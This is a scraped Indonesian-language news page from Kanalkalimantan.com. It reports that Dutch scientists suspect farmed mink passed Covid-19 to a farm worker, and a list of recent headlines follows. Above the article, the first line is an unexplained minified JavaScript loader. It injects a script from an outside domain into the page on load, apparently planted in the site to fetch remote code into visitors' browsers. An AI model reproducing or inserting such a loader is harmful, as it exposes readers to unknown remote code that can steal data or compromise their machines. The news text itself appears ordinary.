(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kesehatan

Ilmuwan Duga Mink Dapat Tularkan Virus Corona ke Manusia


KANALKALIMANTAN.COM, JAKARTA– Para ilmuwan Belanda tengah meneliti sebuah kasus, di mana manusia tampaknya telah terinfeksi virus Corona (Covid-19) dari mink, mamalia semi-akuatik dengan famili Mustelidae, yang juga termasuk musang dan berang-berang. Mink umumnya diternakkan karena bulunya yang lembut.

Dugaan itu masih belum dikonfirmasi untuk saat ini, tetapi kasus yang tidak biasa ini bisa menjadi contoh pertama penularan Covid-19 dari hewan ke manusia selama pandemi.

Pada April lalu, beberapa mink di dua peternakan bulu mink di Belanda tampaknya terinfeksi Covid-19 setelah sejumlah hewan terserang penyakit pernafasan yang parah.

Di kedua peternakan tersebut, setidaknya satu pekerja dinyatakan positif Covid-19. Selama penyelidikan terhadap wabah tersebut, para ilmuwan yang dipimpin oleh Universitas Wageningen melakukan analisis genetik patogen untuk membangun “pohon keluarga” dari virus.

Penelitian ini mengungkapkan bahwa satu pekerja di peternakan mink memiliki bentuk virus yang sangat mirip dengan beberapa hewan. Tampaknya, seorang manusia pertama kali membawa infeksi ke peternakan, tetapi variasi genetik dari virus menunjukkan kemungkinan bahwa satu pekerja benar-benar terinfeksi oleh mink.

Para ilmuwan juga memperhatikan bahwa viral load atau beban virus ditemukan dalam serbuk kayu yang dapat dihirup dan digunakan sebagai alas tidur di peternakan mink, menunjukkan itu kemungkinan jalur paparan kepada pekerja.

Memang tidak semua orang bertemu dengan mink setiap harinya, khsusunya di Indonesia. Namun di sungai-sungai di Amerika Utara dan Eropa, beberapa spesies mink masih ditemukan tinggal di sana.

Institut Nasional Belanda untuk Kesehatan Masyarakat dan Lingkungan mengatakan, risiko virus ditularkan dari mink ke manusia di luar peternakan dapat diabaikan.

Meski begitu, menteri pertanian dan menteri kesehatan di Belanda sedang berusaha memperkenalkan langkah-langkah baru pada pertanian mink di negeri itu setelah kasus tersebut ditemukan.(suara)


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

6 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

6 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

8 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

10 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

10 jam ago

This website uses cookies.